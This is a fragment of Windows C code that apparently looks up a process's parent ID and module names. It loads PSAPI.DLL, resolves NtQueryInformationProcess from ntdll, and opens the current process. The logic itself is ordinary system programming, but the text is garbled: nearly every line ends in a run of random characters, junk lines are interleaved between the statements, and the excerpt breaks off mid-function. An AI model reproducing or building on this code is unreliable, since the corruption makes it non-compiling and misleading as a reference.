DWORD BasePriority; Ln<`E|[29
ULONG UniqueProcessId; Yi+wC}
ULONG InheritedFromUniqueProcessId; (\hx` Yh=>
} PROCESS_BASIC_INFORMATION; vkd.)x`J,
0gy/:T
PROCNTQSIP NtQueryInformationProcess; x_6[P2"PP
?o4C;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2%@4]
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tx=-Bb~;
wb5baY9
HANDLE hProcess; 8Pn#+IvCE
PROCESS_BASIC_INFORMATION pbi; %x{kc3PnO
m=A(NKZ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >G*eNn
if(NULL == hInst ) return 0; A8fOQ
;F!5%}OcL%
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iWB=sL&p
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aS{n8P6vW
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z/WE,R
6YLj^w] %
if (!NtQueryInformationProcess) return 0; 5k3 b3&
!&ayYu##{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nE&